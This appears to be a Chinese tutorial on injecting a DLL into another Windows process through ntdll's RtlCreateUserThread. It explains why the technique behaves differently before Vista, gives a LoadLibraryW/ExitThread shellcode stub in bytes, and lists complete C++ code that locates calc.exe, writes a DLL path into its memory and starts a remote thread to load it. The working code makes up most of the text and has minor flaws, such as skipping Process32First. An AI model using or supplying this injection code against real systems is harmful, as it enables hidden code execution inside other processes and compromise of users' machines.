不同于CreateRemoteThread直接调用win api, RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。
LoadLibraryW函数调用原型:
typedef DWORD(WINAPI* pRtlCreateUserThread)( //函数原型
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN LPVOID StartAddress,
IN LPVOID StartParameter,
OUT HANDLE ThreadHandle,
OUT LPVOID ClientID
);
LoadLibraryW
函数shellcode:
BYTE StaticShellCode[31] = { 0xE8,0,0,0,0, // call (5字节) 4
0x5D, // pop ebp 5
0x8B,0xC5, // mov eax,ebp 7
0x83,0xC0,0x1A, // add eax,1a 10
0x50, // push eax 11
0xB8,0,0,0,0, // mov eax,LoadLibraryW 16
0xFF,0xD0, // call eax 18
0x6A,0, // push 0 20
0xB8,0,0,0,0, // mov eax,ExitThread 25
0xFF,0xD0, // call eax 27
0xC3, // ret 4 28
0};
代码如下:
(整体逻辑一样,就不详细备注)
#include <Windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <iostream>
#include <string>
DWORD findPidByName(const char* pname) //获得pid函数,对上面的查找进行改进
{
HANDLE h;
PROCESSENTRY32 procSnapshot;
h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
procSnapshot.dwSize = sizeof(PROCESSENTRY32);
do
{
if (!_stricmp(procSnapshot.szExeFile, pname))
{
DWORD pid = procSnapshot.th32ProcessID;
CloseHandle(h);
#ifdef _DEBUG
printf(("[+]进程地址: %ld\n"), pid);
#endif
return pid;
}
} while (Process32Next(h, &procSnapshot));
CloseHandle(h);
return 0;
}
typedef DWORD(WINAPI* pRtlCreateUserThread)( //函数申明
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN LPVOID StartAddress,
IN LPVOID StartParameter,
OUT HANDLE ThreadHandle,
OUT LPVOID ClientID
);
DWORD RtlCreateUserThread(LPCSTR pszLibFile, DWORD dwProcessId)
{
pRtlCreateUserThread RtlCreateUserThread = NULL;
HANDLE hRemoteThread = NULL;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); //打开目标进程pid
if (hProcess == NULL)
{
printf("[-] Error: Could not open process for PID (%d).\n", dwProcessId);
exit(1);
}
LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); //load函数地址
if (LoadLibraryAddress == NULL)
{
printf(("[-] Error: Could not find LoadLibraryA function inside kernel32.dll library.\n"));
exit(1);
}
RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(("ntdll.dll")), ("RtlCreateUserThread"));//获取Rtl函数地址
if (RtlCreateUserThread == NULL)
{
exit(1);
}
#ifdef _DEBUG
printf(("[+]RtlCreateUserThread函数地址: 0x%08x\n"), (UINT)RtlCreateUserThread);
printf(("[+]LoadLibraryA函数地址: 0x%08x\n"), (UINT)LoadLibraryAddress);
#endif
DWORD dwSize = (strlen(pszLibFile) + 1) * sizeof(char);
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//开辟一段地址
if (lpBaseAddress == NULL)
{
printf(("[-] Error: Could not allocate memory inside PID (%d).\n"), dwProcessId);
exit(1);
}
BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL); //目标dll写入
if (bStatus == 0)
{
printf(("[-] Error: Could not write any bytes into the PID (%d) address space.\n"), dwProcessId);
return(1);
}
bStatus = (BOOL)RtlCreateUserThread(
hProcess,
NULL,
0,
0,
0,
0,
LoadLibraryAddress, //shellcode
lpBaseAddress,
&hRemoteThread,
NULL);
if (bStatus < 0)
{
printf(("[-]注入失败\n"));
return(1);
}
else
{
printf(("[+]注入成功...\n"));
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hProcess);
VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE);
return(0);
}
return(0);
}
int main()
{
const char* name = ("calc.exe");
DWORD pId = findPidByName(name);
LPCSTR location = ("c:\\test.dll");
RtlCreateUserThread(location, pId);
}